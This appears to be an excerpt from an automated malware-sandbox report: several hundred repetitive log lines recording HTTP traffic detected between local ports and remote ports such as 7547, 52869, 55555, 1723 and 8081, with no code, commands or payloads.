Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53008 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53008 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41648 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58038 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 41648
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56548 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58602 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 46230 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37664 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53326 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42746 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37684 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38120 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38120
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50460 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40112 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50788 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56656
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56700
Source: unknown	Network traffic detected: HTTP traffic on port 48708 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48744 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55218 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56656
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45014 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 37978 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38262 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41642 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42018 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37978 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 42050 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35346 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42050 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45224
Source: unknown	Network traffic detected: HTTP traffic on port 45268 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58348 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35146 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45280 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58348
Source: unknown	Network traffic detected: HTTP traffic on port 58398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45268
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35198 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45280
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58398
Source: unknown	Network traffic detected: HTTP traffic on port 35420 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47068 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56824 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50894
Source: unknown	Network traffic detected: HTTP traffic on port 50908 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50908
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56824 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53520 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58786 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58808 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44944 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60538 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54718 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34996 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56784 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46112 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56544 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38426 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50654 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58922 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38092 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50654
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 34034
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50694
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58922 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58922 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57410 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40394 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57534 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57534 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 51078
Source: unknown	Network traffic detected: HTTP traffic on port 59328 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43530 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48708 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44230 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48708
Source: unknown	Network traffic detected: HTTP traffic on port 48740 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48740
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 45742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48668 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41528 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46822 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46840 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48668
Source: unknown	Network traffic detected: HTTP traffic on port 41654 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60060 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46840 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60546 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60016 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48788
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35328 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58490 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46518
Source: unknown	Network traffic detected: HTTP traffic on port 46816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47060 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47070 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50346 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58490 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35622 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45942 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50346 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46816
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35072 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45942
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46518
Source: unknown	Network traffic detected: HTTP traffic on port 35090 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45942
Source: unknown	Network traffic detected: HTTP traffic on port 37632 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 42238 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 42870
Source: unknown	Network traffic detected: HTTP traffic on port 56658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33602 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35622 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53256 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59166 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45348 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53256 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37614
Source: unknown	Network traffic detected: HTTP traffic on port 53906 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33408 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56324 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36246 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37614
Source: unknown	Network traffic detected: HTTP traffic on port 36264 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46194 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37618
Source: unknown	Network traffic detected: HTTP traffic on port 36284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41080 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46208 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58892 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44894
Source: unknown	Network traffic detected: HTTP traffic on port 44900 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44900
Source: unknown	Network traffic detected: HTTP traffic on port 52916 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44346 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45912 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58076 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43546 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43546
Source: unknown	Network traffic detected: HTTP traffic on port 43552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43552
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48644 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41430 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43114 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32882
Source: unknown	Network traffic detected: HTTP traffic on port 33500 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41916 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33500
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48644 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33500
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44652 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53392 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56058 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35322 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
